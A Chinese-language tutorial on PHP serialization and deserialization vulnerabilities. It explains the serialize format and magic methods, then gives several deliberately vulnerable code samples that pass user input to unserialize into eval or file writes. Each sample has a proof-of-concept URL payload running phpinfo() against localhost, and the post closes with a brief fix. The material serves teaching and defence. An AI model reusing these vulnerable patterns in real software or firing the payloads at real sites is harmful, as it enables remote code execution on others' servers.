是将变量转换为可保存或传输的字符串的过程
函数:serialize()
字符串对象序列化
$a = "test";echo "序列化:";$aa = serialize($a); #对普通字符串进行序列化print_r($aa . "\n");#输出结果:序列化:s:4:"test";序列化格式介绍 s表示string 4表示长度 test是值
数组对象序列化
$arr = array('name' => 'jack', 'age' => 13);print_r(serialize($arr));#对数组进行序列化#输出结果 a:2:{s:4:"name";s:4:"jack";s:3:"age";i:13;}序列化格式介绍 a表示 array数组 s表示string 4表示字符串长度 name表示字符串值 后面类似
对象序列化
class test { public $a = 'test';}$class = new test;print_r(serialize($class));#对对象进行序列化#输出结果 O:4:"test":1:{s:1:"a";s:4:"test";}
序列化格式介绍 O表示类 4表示类名长度 test是类名
o表示对象
序列化字符含义
a – array 数组 b – boolean布尔型 d – double双精度型 i – integer o – common object一般对象 r – reference s – string C – custom object 自定义对象 O – class N – null R – pointer reference U – unicode string unicode编码的字符串
函数:unseralize()
对序列化的字符串对象进行反序列化$a = "test";$s_a = serialize($a);$u_a = unserialize($s_a);#反序列化print_r($u_a);#输出结果:test
对序列化的数组对象进行反序列化
$arr = array('name' => 'jack', 'age' => 13);$s_arr = serialize($arr);print_r(unserialize($s_arr));#反序列化#输出结果:Array( [name] => jack [age] => 13)
对序列化的对象进行反序列化
class test { public $a = 'test';}$class = new test;$class_s = serialize($class);$class_u = unserialize($class_s);#反序列化print_r($class_u);#输出结果:test Object( [a] => test)
魔术方法及相关方法介绍
当使用unserialize()进行反序列话时,__wakeup()方法(魔术方法)就会被调用
__construct()
:构造函数,当对象创建(new)时会自动调用。unserialize()反序列化时是不会自动调用的。__destruct()
:析构函数,当对象被销毁时会自动调用。__wakeup()
:如前所提,unserialize()时会检查是否存在__wakeup()
,如果存在,则会优先调用__wakeup()
方法。__toString()
:用于处理一个类被当成字符串时应怎样回应,因此当一个对象被当作一个字符串时就会调用。`____sleep()`:用于提交未提交的数据,或类似的清理操作,因此当一个对象被序列化的时候被调用
反序列化本身是没有漏洞的,但是当反序列化和一些魔术方法结合使用时就可能会产生安全风险。常用的魔术方法__wakeup
反序列化漏洞示例(__wekeup)
class A { var $test = "demo"; function __wakeup() { eval($this->test); }}$b = new A();$c = serialize($b);$a = $_GET['test'];$a_unser = unserialize($a);#漏洞利用poc http://127.0.0.1:8999/test/unserialize1.php?test=O:1:"A":1:{s:4:"test";s:10:"phpinfo();";}
解释:传入的参数被反序列化,导致魔术方法__wakeup被自动调用,这时参数传入的值将被作为eval的参数使用,所以这里会因反序列化导致任意代码执行。
反序列化漏洞(__wakeup和文件操作)
require "test.php";//测试方便class A { var $test = '123'; function __wakeup() { $fp = fopen("test.php", "w"); fwrite($fp, $this->test); fclose($fp); }}$a = new A();print_r(serialize($a));$class1 = $_GET['test'];$class1_unser = unserialize($class1);利用poc:http://127.0.0.1:8999/test/unserialize1.php?test=O:1:"A":1:{s:4:"test";s:18:"<?php phpinfo();?>";}
解释:和上面一一样,当传入的参数被反序列化时,魔术方法__wakeup被调用,传入的参数会作为fwrite的第二个参数直接写入test.php文件中,从而导致反序列化漏洞
反序列化漏洞示例(__construct)
require 'test.php';class b { function __construct($test) { $fp = fopen("test.php", 'w'); fwrite($fp, $test); fclose($fp); }}class a { var $test = 123; function __wakeup() { $obj = new b($this->test); }}$class = $_GET['test'];$class_u = unserialize($class);利用poc:http://127.0.0.1:8999/test/unserialize1.php?test=O:1:"A":1:{s:4:"test";s:18:"<?php phpinfo();?>";}
解释:unserialize()会自动调用__wakeup(),__wakeup中实力化a,这时会调用构造函数__construct,因为构造函数被调用,所传入的参数会作为fwrite的参数写入shell.php文件,从而造成代码执行
类的普通方法——反序列化问题
class maniac { public $test; function __construct() { $this->test = new x1(); } function __destruct() { $this->test->action(); }}class x1 { function action() { echo "123"; }}class x2 { public $test2; function action() { eval($this->test2); }}$class2 = new maniac();unserialize($_GET['test']);漏洞利用poc:http://127.0.0.1:8999/test/unserialize1.php?test=O:6:"maniac":1:{s:4:"test";O:2:"x2":1:{s:5:"test2";s:10:"phpinfo();";}}
解释:maniac实例化,构造方法(\_\_construct)被调用,x1被示例化;反序列执行,析构方法(\_\_destreuct)被调用;如果$\_GET没有传入合法的序列化字符串,就会自动调用x1的action方法,如果$\_GET接收到正确的序列化字符串,那么析构方法就会调用x2的action方法,从而这里就有可能导致任意命令执行
php反序列化漏洞修复方案 不要把用户的输入或者是用户可控的参数值直接放进反序列化的操作中 结语 每次写完文章都想感叹一下,这里看了很多大佬的文章,然后总结出这么点内容,虽然不多,但是对于了解php反序列化产生的安全问题还是有帮助的,最后说一句,表哥们帮我转发下文章,如果文章中有什么不妥之处,也请各位表格指出,谢谢!